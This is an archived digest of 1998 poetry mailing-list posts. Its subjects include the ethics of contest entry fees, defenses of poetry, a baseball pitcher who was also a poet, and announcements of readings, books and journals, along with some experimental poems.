these defenses of poetry directly take up plato's challenge in is it republic 13, where he throws poetry out of the republic but says, if anyone wants to write a defense of poetry, which we all of course love, we'd be happy to reconsider.

At 9:58 AM -0500 9/30/98, MAYHEW wrote:
>Prose is indefensible. But seriously, I think Sidney and Shelley were
>defending not poetry as a genre, or "verse," but poesie in a larger sense;
>their defenses (or apologies) apply beyond what we think of as "poetry"
>today.
>
>On Wed, 30 Sep 1998, Susan Schultz wrote:
>
>> I'm doing book orders for a "Foundations of Creative Writing" course next
>> term. I'm going to have students read some defenses of poetry, but I'm
>> wondering if there's anything comparable for prose. Defense of Prose? Any
>> good attacks on that genre?
>> Thanks in advance,
>>
>> Susan Schultz
>>
>
>Jonathan Mayhew

↑ Index

9. Douglas Barbour
Re: Teachers Awarding Students Prizes
Thu 1 Oct 1998

---

it IS good to have Elilza back. And I agree about contests, too.

But up here in Canada they are a great way to raise money for magazines (& get subscribers). And so may poets love them. Even if they ARE all equally good in different ways (& maybe they are!)

But you're right about rleations between judges & winners. I like your morality on that one...

Douglas Barbour (h) [403] 4363320 (b) [403]
[redacted]
Department of English
University of Alberta
Edmonton Alberta Canada T6G 2E5

> How, but thru a monstrous 'specialism', the so-called authority
> of erstwhile 'professionsals', have we come to leave
> _breath_ out of images and _images_ out of breath, anyhow?
>
> Roy Kiyooka

↑ Index

10. Herb Levy
New from Drogue Press & Niblock
Thu 1 Oct 1998

While I was in New York with Suspended Music, I received a great new book from Drogue, "Roots of the Moment" by Pauline Oliveros.

It's a book of her poetics of composing & performing meditative musical works, but it has a tremendous relevance to the work of many of the writers I know of on this list. The book also looks great, with typography & design by Blair Seagram (is Blair still on this list). It's relatively expensive for a paperback, $35, but it includes a very good CD of several text-based horspiels (radio plays) along with the book. It was drop-shipped from the press, so the copies were literally the first available, but SPD will have it, if they don't already.

Also, last spring, I think it was, the music of Phill Niblock came up here on the list. It was pretty clear that at least some people hadn't heard it, & didn't understand the problems of audience reception of the work. Now any of you who have RealAudio on your computer can hear it. I have a piece of his for eight tracks of trombones, programmed on Mappings, my show at Antenna Radio,

this week (it'll be available from the Mappings archive page for a week after Saturday). The front page for Antenna is <http://www.antennaradio.com/>

Bests,

Herb

Herb Levy
[redacted]

↑ Index

11. MAYHEW
Re: more writing experiments
Thu 1 Oct 1998

I tried experiment 9 last night with a book of James Merrill's that I didn't mind defacing:

"In the Margins of _Braving the Elements_"

Your competence does not
diminish us,
                all too slick
wearer-out-of-welcomes!

* * *

The brutal anecdote fades;
                manic
or depressive, who cares?

Who will remember
                to empty trash,
to outdo a
          season of witless
                banter?

* * *

A brick fell on my head
and I was none the wiser.

I am the ungrateful one.

* * *

What elements are braved here
O garrulous one?

What would Kafka say?

Newark Campus (Ohio) library
withdrew this book.

* * *

Why do I withold my
                sympathy?
I am mildly insane.

* * *

Tedium is good medicine
but for what disease?

If one man's meat is another's poison
am I justified in feeding you arsenic?

* * *

Here is too much white space
otherwise known as the unbearable whiteness
of Nobel aspirations.

Free us from our pretentions
as we liberate others
who pretend against us.

* * *

"Hang from (by) the neck
until dead."

* * *

I am not being anti-intellectual here!
You would know it
                by that stench in your nostrils,
palatial, hermetic stanza.

* * *

A rich diet. How else to
fend off famine?

* * *

Sneezes can't be "deflected."
Read your Wittgenstein.

* * *

Must it come to this?
The awfulness of the pun
shames me.

The exasperating reader
closing the book.

Jonathan

↑ Index

12. Jim McCrary
Re: Dan Quisenberry
Thu 1 Oct 1998

Baseball fans on the list with know that Dan Quisenberry died yestrday. A great relief pitcher on the KC Royals when they were champs. His wierd, loopy side arm fireballs matched his personality. Others may not know he was a poet. He had published two books "Down and In" and "On Days Like This" available through The Writers Place, 3737 Penna. , Kansas City, MO. He was quite active in the KC poetry scene and spent many hours in local library reading poetry of all kinds to school kids. A good guy.

Jim McCrary

PS..anyone know of other major league baseball 'poets'.

↑ Index

13. tristan saldana
Re: Dan Quisenberry
Thu 1 Oct 1998

Wow. I did not know this about old "loopy side arm." This is quite touching. I'm going to see if I can find any of his stuff.

Tristan

On Thu, 1 Oct 1998, Jim McCrary wrote:

> *Baseball fans on the list with know that Dan Quisenberry died yestrday. A great relief pitcher on the KC Royals when they were champs. His wierd, loopy side arm fireballs matched his personality. Others may not know he was a poet. He had published two books "Down and In" and "On Days Like This" available through The Writers Place, 3737 Penna. , Kansas City, MO. He was quite active in the KC poetry scene and spent many hours in local library reading poetry of all kinds to school kids. A good guy.*
>
> *Jim McCrary*

> *PS..anyone know of other major league baseball 'poets'.*

↑ Index

14. Pierre Joris
FW: Call for papers
Thu 1 Oct 1998

thot this may be of innerest -Pierre

>From: Michael Toler <[redacted]>
>To: Pierre Joris <[redacted]>
>Newsgroups: none
>Subject: Call for papers
>Date: Sat, Sep 26, 1998, 12:16 PM
>

> *Identity, Ethnicity and Origins*
> *March 5-6 at Binghamton University in Binghamton, NY*
>
> *The conference will explore any issues related to identity, ethnicity, and origins. Papers may relate to the general conference topic in an interdisciplinary manner through literature, sociology, anthropology, political science, film, art, history, philosophy or religion. suggestions for panels or sessions are welcome.*
>
> *Abstracts of 250 words or less are due November 20, 1998.*
>
> *For more information see: http://www.geocities.com/collegepark/4248 or contact:*
>
> *Professor Antonio Sobejano-Morán*
> *Department of Romance Languages and Literatures*
> *Binghamton University*
> *PO Box 6000*
> *Binghamton, NY 13902-6000*
> *email:* [redacted]
> *or* [redacted]

↑ Index

15. Gary Sullivan
Metcalf & Eshelman books
Thu 1 Oct 1998

Hi everyone,

I'm passing along info on behalf of Rain Taxi. Direct all questions/orders to them. Ciao for niao. --Gary

MERRILL COVE by Paul Metcalf Written in the late 1950s, while Metcalf resided in North Carolina, _Merrill Cove_, as remained unpublished until now. "We lived there for four years, and it was a significant period of our lives: the way of life, the writing, the warm associations with Charles Olson, Jonathan Williams, Black Mountain College. The Cove is what I think of when I think of North Carolina."

THE ARANEA CONSTELLATION by Clayton Eshleman A stunning prose poem/essay, "The Aranea Constellation" is a newly completed section from Eshleman's 24-year work-in-progress, _Juniper Fuse: Paleolithic Imagination & the Construction of the Underworld_. Exploring the relevance of Upper Paleolithic cave imagery to 20th century crises, Eshleman here attempts to situate poetry in its oldest and deepest context.

28 pp. saddle-stiched. Editions limited to 300 copies. Send $5 each (plus $1.50 postage and handling) to: Rain Taxi, PO Box 3840, Minneapolis, MN 55403

↑ Index

16. David Baratier

[Fwd: Booglit 5 out now (please forward this to more interested folks, thanks, David)]

Thu 1 Oct 1998

This is a multi-part message in MIME format.

fyi

via sendmail with P:smtp/D:user/T:local
(sender: <[redacted]>)
id <[redacted]>
for <[redacted]>; Thu, 1 Oct 1998 09:59:06 -0500 (CDT)
(Smail-3.2.0.[redacted]-Dec-17 #12 built 1998-Feb-6)
by imo24.mx.aol.com (IMOv16.10) id RXOJa02343;
Thu, 1 Oct 1998 10:53:17 -0400 (EDT)
From: [redacted]
Date: Thu, 1 Oct 1998 10:53:17 EDT
To: [redacted], [redacted], [redacted],
[redacted], [redacted]
Subject: Booglit 5 out now (plese forward this to more interested folks, thanks, David)

Booglit 5 out now, The Ginsberg issue, featuring four-color cover portrait of Ginsberg and new work by Lawrence Ferlinghetti, Barry Gifford, Allen's brother

Eugene Brooks, Lee Ann Brown, Bob Holman, Bob Rosenthal and previously unpublished Ginsberg poem written two weeks before he died. Send $7 postpaid check or money order payable to Booglit P.O. Box 20531 NY, NY 10011 Attn: BL5

25% of profits go to Hare Krishna Food Relief, an organization feeding the hungry on New York's Lower East Side for the past ten years

----------9ACF2331015728ED912485B5--

↑ Index

17. Susan Wheeler
Portland Oregon Reading
Thu 1 Oct 1998

A self-trumpet here: I'm

Reading
Powell's Bookstore, Portland OR
Sunday, October 4, 7:30 pm
3723 SE Hawthorne

↑ Index

18. Mark Weiss
Prize competitions
Thu 1 Oct 1998

As long as this subject has come up again, I'd really like to know how much money the various prizes take in in entry fees. If a prize-granting agency, whether press or honorary society, has to pay for outside judges I suppose it's alright to raise money from fees to offset the cost. I'm not sure it's ok to ask applicants to pay for the printing of someone else's book. And I am sure that it's not ok for a prize-grantor to make a profit on the process.

There has been an enormous proliferation of fee-for-entrance prizes in the past decade. In theory there's nothing to keep any press from converting its entire manuscript submission and reading process to a series of contests--it would probably pay better than marketing the books. But judging and acquiring manuscripts and taking the risk of meeting expenses is what presses are supposed to do. And the cost of multiple contest entry, surely a form of extortion, has to be onorous for most poets, added, as it is, to the already hefty expense involved in becoming and remaining a poet.

For the record, I've never paid to enter a contest because of my feelings about the ethics of the process.

At 01:56 AM 10/1/98 +0000, you wrote:
>Gabriel: We keep the Pavement Saw Press contest entirely anonymous.
>All of the manuscripts are stripped of name address phone & publication
>credits and receive a number which is written on the envelope &
>manuscript. The top 25 are chosen by two readers other than the judge
>(except last year when everyone bailed). These are then mailed.
>
>None of the three winners so far has had a full length book out
>beforehand. The last chapbook only had two previously published poems.
>None of the winners had a poem previously published in our journal. None
>of the judges knew the winners. Josh McKinney could attest to this, he
>is lurking here somewhere.
>
>This says a lot to me about who would win if other contests were done
>this way. It also tells me that presses who aren't selecting a
>manuscript are committing egregious blaspheme.
>
>As for scandal, I need an anonymous e-mail address for ones which
>haven't seen print.
>There also is a whole other side to this situation which involves a
>shift in editorial policy that benefits University contests and a few
>others which is real ugly. I haven't seen any words mentioning this
>yet.
>
>Be well
>
>David Baratier
>
>

↑ Index

19. Garrett Kalleberg
The Transcendental Friend, Issue No. 5
Thu 1 Oct 1998

"Magic itself, free of any claims to be real, is a facet of enlightenment: its illusion disenchants the disenchanted world. This is the dialectical ether in which contemporary art lives as best it can." So wrote Adorno in Aesthetic Theory. The Transcendental Friend is trying to play its part.

The Transcendental Friend, Issue No. 5, October 1998
http://www.morningred.com/friend

Peter Constantine proffers a 1934 text by Haye Hinrichsen translated from the Hallig Friesian for a new section called Rosetta.

Henry Gould, who earlier wrote on Vocation, now offers an article on Labor in this issue's Critical Dictionary.

Built around an excerpt from The Black Book by Orhan Pamuk and texts by Leonard Schwartz, Heather Ramsdell & Joe Eliott, Camille Guthrie provides this month's contribution to Mote.

The Bestiary, edited by Laird Hunt, features work by Dan Machlin, Sir Thomas Browne & Tim Atkins.

Duncan Dobbelmann's translations of two works by the Belgian Paul Van Ostaijen are featured in the Report from Afield.

Schizmata presents the first of three parts of a piece by Kevin Killian called "Cut."

(Jen Hofer's translations of three poems by poet Ana Belén López were slightly skewed in the last issue of the Friend, so we are presenting them here in a new layout in an Errata section.)

The journal has been redesigned, in part to make it a little more printer-friendly (try printing a page from your browser; we're working on making print copies available - more news on this later in the month).

Garrett Kalleberg
B.D.W.P.H.G.S.

Garrett Kalleberg
mailto:[redacted]

The Transcendental Friend can be found at:
http://www.morningred.com/friend

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20. david bromige
my brief absence
Thu 1 Oct 1998

Fellow-Listafarians, Apologies to any back channelers who had their messages to me bounce back. I neglected to announce to the List that I was shutting down e-mail for a few days. I did not expect to be shut down quite so long, though. My stupefied server took 48 hours to restore service following my request. In fact, just now I got it back. I had been to Vancouver, Fri-Mon.

I stopped by the bpnichol conference to watch and hear old friends discourse upon bp. The panel I was able to attend--I know you will correct me if I'm

mistaken, George Bowering, as you were the Moderator--offered Frank Davey, arguing for a decent keeping apart of things vis-a-vis bp's poetry, cautioning against totalizing narratives of the oeuvre's meaning; and panel-mates Daphne Marlatt and Fred Wah cautioning against Frank's approach.

I sat there and observed these young persons who can now nearly pass for old codgers and geezer-babes (a Sonoma County term, coined by one, so not found offensive here), recalling how Frank, seated once more, 37 years later, next to Daphne, nee Buckle, had prefaced his first book of poems, D-DAy and After (1961 ?) with Hopkins' "Buckle, and the fire that breaks from thee, then."

Fred Wah was gracious enough to slot yours truly into the monster reading so I spent 5 minutes onstage. I remembered that Fred had published my first book. Merci pour ca, dude.

The evening readings were often wonderful. McCaffery's nonsense rimes that insinuate so much sense; Wershler-Henry's tour de force of "ways to write" that goes around slamming all the doors opened by Bernadette Mayer's (nonetheless still handy) list, only to up the ante; Judy Copithorne's ad-libbed sentiments re the temporary closing of the passage of time ("I sat behind Fred in Warren's class--I memorized the back of his neck!"); Jen Lim's excellently choreographed performance pieces. . .I need to get some snailmail off soon, but perhaps I can return to the further pleasures later.

It was well-attended, the evening readings particularly. Many of the best and brightest of Vancouver poetry were there, plus contigents from Calgary, Toronto, and Hornby Island (Hey, Billy!--Have I missed a report to the List, during my absence?)

Glad to be back, and to find Rilke's translators still getting sorted out. David

↑ Index

21. Christina Fairbank Chirot

Re: Dan Quisenberry

Thu 1 Oct 1998

Though not written poetry, the remarks transcribed in newspapers, heard on radio and tv by Casey Stengal, Yogi Berra, Mickey Rivers and Joachim Andujar are famous for their malapropisms and surrealistic turns of phrasing, meaning, imagery and sound. (If you can find Casey's testimony beforew a Senate enquiry into baseball as a monopoly under anti-trust rulings--it outdoes W. C Fields and the Marx Brothers--) "When you come to a fork in the road--take it"--Yogi addressing college graduating class in New Jersey "Baseball can be summed up in one word: younevercantell"--Joachim --dbchirot Rube

Waddell also is of legendary status in both malapropisms and bizarre behaviour on and off the field.

On Thu, 1 Oct 1998, Jim McCrary wrote:

> *Baseball fans on the list with know that Dan Quisenberry died yestrday. A great relief pitcher on the KC Royals when they were champs. His wierd, loopy side arm fireballs matched his personality. Others may not know he was a poet. He had published two books "Down and In" and "On Days Like This" available through The Writers Place, 3737 Penna. , Kansas City, MO. He was quite active in the KC poetry scene and spent many hours in local library reading poetry of all kinds to school kids. A good guy.*
>
> *Jim McCrary*
>
> *PS..anyone know of other major league baseball 'poets'.*

↑ Index

22. MAYHEW
Re: Poetic cost accounting
Thu 1 Oct 1998

If I pay $25 to have my ms. read by Charles Baudelaire, who had already decided to award the prize to his buddy Ted Gautier or his disciple Steve Mallarme, I would feel defrauded. If Charles pockets a fee of a couple thousand dollars for the difficult task of comparing me unfavorable to those already in his inner circle, this becomes an even greater scam. Charles and Ted both benefit at my expense. "Nice work if you can get it / and you can get it if you try." So to say that the entry fees go toward the expense of the contest, rather than the production of the book, is small consolation.

I'm not saying I would never enter such a contest, but I'd have to be sure it was on the up and up. In a relatively small circle of poets, say those interested in "innovative" writing, the situation is even more tricky. After all, a typical MFA teacher could anonymously judge 500 mss. of more or less interchangeable material.

Jonathan

↑ Index

23. **Mark Weiss**
Re: Prize competitions
Thu 1 Oct 1998

I'm imagining some of the better-known prizes receiving several multiples more in application fees than they could reasonably expect to pay outside judges. As to paying production costs from entry fees, that's like passing the hat while holding a gun in the other hand. Of course, it's easy for me to ride this high horse--I decided at the outset that Junction was going to generate a loss. It's why Junction stays small. As to subsidies, I'm all for them, but not from the pockets of poets entering a lottery. I'd love to meet a duchess, by the way. That's my last one, hanging on the wall.

At 01:49 PM 9/30/98 -0700, you wrote:
>But Mark, this is so tricky. And no, I haven't entered contests, and Chax
>Press doesn't plan to hold one. But, how do you judge "the cost," if you
>say it's OK to pay for that. Do you pay the contest readers, and do you pay
>them a decent wage of $25 per hour or more? And if the people running the
>press are the readers, then what if they decide to put that money into the
>production of the book rather than into their pockets? How do you decide
>what's profit -- is that after salaries/fees/overhead/etc. are deducted?
>
>That said, I agree about the proliferation of fee-based contests. But I
>also think that if a press wants to sponsor a contest and wants the fees
>from the contest to pay for the publication of a book, that's fine -- as
>long as the process of the competition is fair. As to "judging and
>acquiring manuscripts and taking the risk of meeting expenses" being what
>literary presses are "supposed to do," I agree as long as it's not
>necessarily assumed that the only way of meeting those expenses is through
>the sale of books. In that regard, most poetry presses have an extremely
>difficult time, and many depend (and have depended, for decades if not
>centuries) on subsidies of various kinds -- whether it's donations from
>patrons, subsidization by the press's owner/directors, government and
>foundation subsidies, subsidies by poets published and friends/supporters
>of those poets, and even, in centuries removed from our own, subsidies from
>kings/queens/dukes/duchesses/etc. With such subsidies being increasingly
>difficult to find, and sales of books of poetry hardly able to take up the
>slack, I'm not at all surprised that presses are coming up with innovative
>ways of trying to meet expenses and publish books. I only get disgusted
>when such schemes are unfair, and when there are no other fee-less ways for
>poets to get published. But there are always ways, as the continuing
>emergence of new presses and journals (documented so marvelously on this
>list) shows.

>
>charles
>
>
>At 10:38 AM 10/1/98 -0700, you wrote:
>>As long as this subject has come up again, I'd really like to know how much
>>money the various prizes take in in entry fees. If a prize-granting agency,
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>>
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>>past decade. In theory there's nothing to keep any press from converting
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>>
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>>>All of the manuscripts are stripped of name address phone & publication
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>>>

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>>>There also is a whole other side to this situation which involves a
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>>>others which is real ugly. I haven't seen any words mentioning this
>>>yet.
>>>
>>>Be well
>>>
>>>David Baratier
>>>
>>>
>>
>>
>charles alexander :: poet and book artist :: [redacted]
>chax press :: alexander writing/design/publishing
>books by artists' hands :: web sites built with care and vision
>http://alexwritdespub.com/chax :: http://alexwritdespub.com
>
>

↑ Index

24. Aldon Nielsen
that's my last ducat hanging on the wall
Thu 1 Oct 1998

When I was still young and almost completely unknown, I entered a number of poetry contests. None of them required an entry fee. I won several, one of which resulted in my receiving an award from then-Mayor Marion Barry -- life produces so many rich ironies!

Foolishly, I thought that such early success might make it easier to get my work published here and there --

As I grew older and more nearly completely unknown, I began to observe the geometric increase in the number of "contests" requiring growing fees -- I noted than only one or two of them went so far as to send a copy of the winning book to those who paid the fees to enter -- I had not the money in any event, and entered none of these -- But, having now read somewhat widely and come to recognize any number of names and styles, I observed that the judge, even in "blind" competitions, often seemed to have selected a winner whose work was previously known to the judge -- which is another way of saying that it was seldom the case that an exciting "unknown" was turned up by this means --

I was once entered into a contest against my will by a friend/editor after telling him I wanted no part of any contests -- but as he didn't charge me the fee I did not take it badly that I wasn't selected --

My advice -- contest everything -- in writing!

↑ Index

25. K.Angelo Hehir
Re: another course request
Thu 1 Oct 1998

---

actually i think it is in book 10.
k.h.

On Thu, 1 Oct 1998, Maria Damon wrote:

> these defenses of poetry directly take up plato's challenge in is it
> republic 13, where he throws poetry out of the republic but says, if anyone

Erik Satie

↑ Index

26. David Baratier
Re: Teachers Awarding Students Prizes
Thu 1 Oct 1998

I would be interested to hear from Doug M. as to how Sun & Moon's process works for both the national poetry series and the new american series. The overhead has to be astounding.

Mark, I was upset with how unethical contests are also which is why I set one up. We ask for $7. I pay the contest readers $250. I pay the winner $500 plus 25 copies. Every US resident who sends a SASE with $1.01 rec. a copy of the winner & other countries add a bit more. We are one of the only who continue this policy. The books have very high production values & are perfect bound so you need to add at least $500 to cover the number of free copies that are sent out. You get an idea of the minimum number of folks who have to send in just for me to break even. Then there's the whole cost of promoting the contest to add. The best way I know to be aware of the validity of the press if you are not familiar with it already is to add up what's obvious. For example, one contest asks for $10 for a chapbook contest & the prize is $100 & 25 copies of the winner. They don't send out free copies or subscriptions. The part they don't tell you is that they only do a press run of 50 to 100 copies. & they are publicly funded. Since their contest judge is paid $200, their whole cost structure would covered with forty entries, including cost of the book. That's taking advantage of writers.

^I'm not sure it's ok to ask applicants to pay for the printing of someone else's book.^ I disagree, mainly because of the way we do this. If you recieve a copy of the book, like the press, and want to support it anyways, contests give a writer a chance at winning an award for free, while supporting a worthwhile venture.

Charles brings up some good points here: Do you pay the contest readers, and do you pay them a decent wage of $25 per hour or more? Yes. I can't expect them to do it for free. And if the people running the press are the readers, then what if they decide to put that money into the production of the book rather than into their pockets? We use volunteers & myself. It goes back into the book so that would be difficult to clarify as to where it fits now that folks are trying to get us money for the first time I'll have to work something out for that, thanks! How do you decide what's profit -- is that after salaries/fees/overhead/etc. are deducted? This is the hardest part. There is mailing out free copies to the judge, to people who do the blurbs, to helpers, & etc. The ads. The mailing of announcements & so on. I figure we break even and keep the press publishing by the exposure and orders rec during the process.

Be well

David Baratier

↑ Index

27. David Baratier
visual poetry
Thu 1 Oct 1998

I don't think anyone brought this up during the visual discussion & I just stumbled along it.

http://www.rediscov.com/sackner.htm

Be well

David Baratier

↑ Index

28. Rachel Loden
Killian in The Transcendental Friend, Issue No. 5
Thu 1 Oct 1998

Speaking of humor (as we were before being instructed that it meant we didn't care about the Sudanese), don't miss the first installment of Kevin Killian's play "Cut" :

"In Sumatra, we call 'theory' the juice of the rubber bug plant, and squish it out of tapir heads."

http://www.morningred.com/friend/1998/10/pages/schizmata.html

Rachel

↑ Index

29. louis stroffolino
Re: didacticism
Thu 1 Oct 1998

Thanks all (Jonathon, Edward, Tom, Rachel, Jordan, and any I missed)
for responding to the didacticism post.....
(oh yeah, and henry).
I don't think that "didacticism leaves no room for dialogue or
ambiguity" (as Tom said) though. For isn't the very statement--
"poetry shouldn't be didactic" a didactic statement....
Sorry I am not responding more fully now---but I'm burnt out
from too much adjuncting (perhaps explaining my interest in
"didacticism" as of late, an attempt to adjust my aesthetics
to my situation?)....
Anyway, what to make of jordan's hairsplitting "moral" vs.
"instructional" distinction?
Can "complaint" or "confession" be considered "didactic"?
Other questions abound, and keep one from sleep.....
Is sleep didactic?
chris

↑ Index

30. A. Jenn Sondheim
this is just sent to you for positive fun
Fri 2 Oct 1998

---

and to show you just how much everything i say is true, alan, just in case you thought it wasn't somehow and i was making it up

*** STATE WEATHER WARNINGS ***

NYZ067>081-NJZ002>006-011-CTZ005>012-012300-
GHOSTS ENTER THE DOORWAY OF THE HOUSE LOOKING FOR WOUNDS.
WOUND ADVISORY
NATIONAL WEATHER SERVICE NEW YORK NY
224 PM EDT THU OCT 1 1998
WOUNDS ARE FOUND AND JENNIFER AND NIKUKO EMERGE FROM THEM.

...THE NATIONAL WEATHER SERVICE HAS ISSUED A WOUND ADVISORY FOR THE
REST OF TODAY FOR ALL OF SITHEASTERN NEW YORK INCLUDING THE NEW YORK
METRO AREA AND LONG ISLAND...NORTHEASTERN NEW JERSEY AND SITHERN
CONNECTICUT...
JENNIFER AND NIKUKO ARE CALLED "ISSUANCES."
"ISSUANCES" ARE DANGERIS BECAUSE OF THE PRESSURE THEY HAVE BRIGHT TO BARE.
THIS INCLUDES THE FOLLOWING CINTIES...
IN NEW YORK...
BRONX...KINGS (BROOKLYN)...NASSAU...NEW YORK (MANHATTAN)...
ORANGE... PUTNAM...QUEENS...RICHMOND (STATEN ISLAND)...
ROCKLAND...SUFFOLK...WESTCHESTER
IN THESE CINTIES THINGS ARE BARE BY JENNIFER AND NIKUKO "ISSUANCE."
IN NEW JERSEY...
BERGEN...ESSEX...HUDSON...PASSAIC...UNION
IN THESE CINTIES "ISSUANCE" IS SLIGHT BUT NEWLY-VISIBLE.
IN CONNECTICUT...
FAIRFIELD...MIDDLESEX...NEW HAVEN...NEW LONDON
WE JUST DO NOT KNOW THESE CINTIES.
THREE DOTS INDICATE THE EXPULSION OF JENNIFER'S BREATH.
A SPACE INDICATES THE EXPULSION OF NIKUKO'S BREATH.
WOUND FLOW BETWEEN INTENSE LOW PRESSURE IN SITHEASTERN CANADA AND
HIGH PRESSURE OVER THE GREAT LAKES WILL KEEP A BRISK NORTHWEST WOUND
FLOW ACROSS THE AREA FOR THE NEXT CIPLE OF DAYS.
"ISSUANCES" ARE FLOWS THAT VEER OUT OF CONTROL ACROSS LAND AND SEA.
STRONG NORTHWEST WOUNDS OF 20 TO 30 MPH WILL CONTINUE ACROSS THE
REGION THRIGH SUNSET...WITH SOME GHOSTS OVER 45 MPH. THESE GHOSTS
ARE CAPABLE OF DOWNING SMALL BRANCHES AND POSSIBLY SOME DO-ROUTER
LINES. AFTERNOON COMMUTERS SHILD BE PREPARED FOR THE GHOSTLY WOUNDS
AS THE WOUNDS MAY BE STRONG ENIGH TO BLOW VEHICLES ARIND...
ESPECIALLY HIGH PROFILE VEHICLES TO BE BLOW LIKE VEHICLES

ARIND...
"ISSUANCES" CAN ALSO VEER OUT OF CONTROL ACROSS MOUNTAINS AND VALLEYS.
THE WOUNDS WILL DIE DOWN TO ABIT 15 TO 25 MPH THIS EVENING AFTER
SUNSET...BUT MORE GHOSTLY WOUNDS ARE LIKELY TOMORROW AFTERNOON.
"ISSUANCES" ARE WHAT WE CALL GHOSTS AROUND HERE TO PREPARE FOR THE BLOW.

THIS WEATHER IS BROUGHT TO YOU BY "THE BLOW FROM ISSUANCE."

↑ Index

31. Loss Pequen~o Glazier

New at the EPC

Fri 2 Oct 1998

A note to announce recent additions to the EPC. These works are available by selecting "new" on the EPC home page, http://writing.upenn.edu/epc/ and document useful new poetry resources made available through the web. We are pleased to make these available to you through/at the EPC ...

Un bureau sur l'Atlantique
Emmanuel Hocquard
Eric Mottram (connect)
Chain (connect)
The East Village Poetry Web (connect)
Xenia: A Review of Digital Literature and Art (connect)
Combo (connect)
Kathleen Fraser author page (Linda Russo, ed.)
Harryette Mullen Interview with Griffin, Magee, Gallagher
Grolier Poetry Book Shop (connect)
Anglo-American Poetic Relations Report (Tuma)
Wednesday at 4 Plus Fall 1998
The Politics of Poetic Form syllabus
Bernstein Interview with Dana Luther, I & II (connect)
Cyber Poetry Gallery (connect)
Triplespace (Marjorie Perloff on Hank Lazer's poetry)
Newark Review (connect)
Passages 6
Tinfish #6

United Artists Books (connect)
Witz 5.1

Electronic Poetry Center
http://writing.upenn.edu/epc/

↑ Index

32. Stephen Cope
New Writing Series at UCSD
Fri 2 Oct 1998

NEW WRITING SERIES at UCSD FALL 1998

All readings take place at 4:30PM, at the Visual Arts Performance Space, located in the Visual Arts Complex, University of California, San Diego.

OCTOBER 14 - BARBARA ANDERSON Born in New York City, Barbara Anderson has lived in Flagstaff for many years, where she teaches at Northern Arizona University. Of her most recent book of poetry, 1-800-911, Mark Doty has written "Barbara Anderson has transcribed the unmistakable latenight voice of America."

OCTOBER 21 - STEPHEN-PAUL MARTIN Stephen-Paul Martin is the author of sixteen books of fiction, poetry, and non-fiction, including The Gothic Twilight , and most recently, Not Quite Fiction. Between 1980 and 1997, he edited Central Park, a journal of the arts and social commentary based in New York City.

OCTOBER 28 - LISA JARNOT Lisa Jarnot has published four books of poetry and edited The Poetry Project Newsletter, among other journals. With Chris Stroffolino and Leonard Schwartz, she edited An Anthology of New (American) Poetry, published by Talisman House in 1998. She currently teaches at The Naropa Institute in Boulder, and is working on a biography of Robert Duncan.

NOVEMBER 4 - ALFRED ARTEAGA A scholar as well as a poet, Alfred Arteaga has published three books of poetry, an acclaimed book of criticism, and edited An Other Tongue: Nation and Ethnicity in the Linguistic Borderlands . His House With a Blue Bed - a book of personal and poetic essays - was published by Mercury House in 1997.

NOVEMBER 11 - GRADUATE STUDENT READING
Graduate students will read and/or perform their work

NOVEMBER 18 - JOHN YAU John Yau has published more than twenty books of poetry, fiction, and criticism. He is also the editor of Fetish, an anthology of

fiction that was published in the fall of 1998. This year, he received a New York Foundation for the Arts award (NYFA) for his fiction. He lives in New York City, and teaches at the Maryland Institute.

↑ Index

33. Jim Andrews
Harpy from Tokyo
Fri 2 Oct 1998

I heard a terrific band in Seattle from Tokyo called Harpy tonight. They fuse highly percussive jazz with rock and staccato Japanese influences. Their timing is complex and impeccable. Kyoko, the lead singer, is often instrumental in her vocals in the sense that rather than continuous drawn out breaths she is playing staccato notes with the other musicians. But she can also belt it out. They're a very funny band also, their music is often funny, I mean.

They apparently check their email regularly. Evidently they are off to New York very soon and thence Michigan, and then to France. If anyone is reading this in the New York area or Michigan or thereabouts and is interested in getting a gig for them, I think you would find your efforts rewarded with a well-pleased audience.

Two sources:
[redacted] is Kenji Ito's email address. He's the drummer and writes the music.

Some of their music can be heard on the Web at
http://www.atom.co.jp/UNSOUND/Actual/Sound/UnpopOffice/Artists/Harpy/index.html

↑ Index

34. Robert J. Tiess
Poetfest Press Release ~ Memories ~ Fall 1998 Poetfest Anthology, Vol. 5
Fri 2 Oct 1998

~ ~ ~

Poetfest collections contain works from English-
speaking poets all around the world. You may
read the current collection and submit material
for the next anthology, Beginnings, due out in
are available at the site. All poets are welcome
to participate.

~ ~

-

↑ Index

35. Ron Silliman

Judging

Fri 2 Oct 1998

Part of what amazed me most about receiving the Pew Fellowship for the Arts this year was that I had neither met nor ever corresponded with any of its judges. (I have subsequently met one of them.)

But I must say that in a community that is as relatively small as the poetry scene, the idea of "blind" judging and the idea of "screeners" seems to me fraught with silliness. Too many places use the screening process incorrectly and I've heard too many judges moan about no good work got through. Possibly that's what happened to Merwin with the Yale this past year (Don't know for sure).

Ron Silliman
[redacted]

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

36. beth lee simon

Countermeasures

Fri 2 Oct 1998

If anyone from Countermeasures is on, or if anyone has an email address for "them," please backchannel me. Thanks

beth simon
assistant professor, linguistics and english
indiana university purdue university

↑ Index

37. David Baratier
PSP Guidelines
Fri 2 Oct 1998

many asked for the guidelines, so..

The Pavement Saw Press Chapbook Award was established in 1995 to promote writers whose work challenges conventions of contemporary poetry while encouraging multiple readings. Writers world-wide are invited to participate. Each year, one manuscript is selected by a writer with a thorough familiarity of the small press realm. Publication, a prize of five hundred dollars, and ten percent of the book run is awarded to the winner.

Pavement Saw Press Chapbook Contest $500 and 25 copies of the winning chapbook will be awarded for the finest collection of poetry received. Ruth Anderson Barnett will be the judge. Submit up to 32 pages of poetry. Include a cover letter with your name, address, phone number, poem titles, publication credits and a brief biography. Entry fee $7. Make all checks payable to Pavement Saw Press. All entries must be postmarked by December 20th, 1998 for consideration in this years contest. Each US entrant will receive a copy of the winning chapbook provided a 8 1/2 x 11 SASE with $1.01 postage is included, add appropriate postage for other destinations. All manuscripts will be recycled. Send all entries to: Pavement Saw Press Chapbook Contest / 7 James Street / Scotia, NY 12302

Be well

David Baratier, Editor, Pavement Saw Press

↑ Index

38. Lisa Trank
Naropa in NYC
Fri 2 Oct 1998

The Naropa Institute will be holding an open house in NYC on Wednesday, October 7 at the NY Shambhala Center, 118 W 22. Street, from 6pm - 10pm. Steven Taylor and Laird Hunt will be performing and reading; All are welcome!

Any questions? Email me at [redacted] or call [redacted] for more info...

We'll also be in San Francisco in November, with Bobbie Louise and Cassie Terman performing - as soon as I have dates, etc. I will send it out.

Thanks,

Lisa Trank

↑ Index

39. Mark Weiss
